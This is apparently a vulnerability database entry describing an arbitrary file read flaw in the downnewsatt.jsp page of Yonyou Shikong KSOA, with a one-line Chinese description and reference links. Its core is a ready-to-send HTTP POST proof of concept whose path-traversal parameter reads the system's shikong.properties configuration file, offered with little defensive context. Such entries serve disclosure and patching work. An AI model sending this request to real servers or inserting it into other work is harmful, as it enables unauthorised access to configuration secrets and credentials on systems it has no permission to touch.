Description
用友时空KSOA downnewsatt.jsp 存在任意文件读取漏洞，攻击者可获取系统内部配置文件敏感信息
用友时空KSOA downnewsatt.jsp 存在任意文件读取漏洞
PoC
POST /newspublish/downnewsatt.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
exclusivenm=../../WEB-INF/classes/shikong.properties
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.ddpoc.com/DVB-2025-10360.html
https://cn-sec.com/archives/4850911.html
https://security.zone.ci/secarticles/wx/480768.html
https://www.gm7.org/archives/24325
https://stack.chaitin.com/techblog/detail/180
https://download.xray.cool/vul/453vul.pdf
https://www.hillstonenet.com/subscription-security-services/ips-update-service/2_1_636.html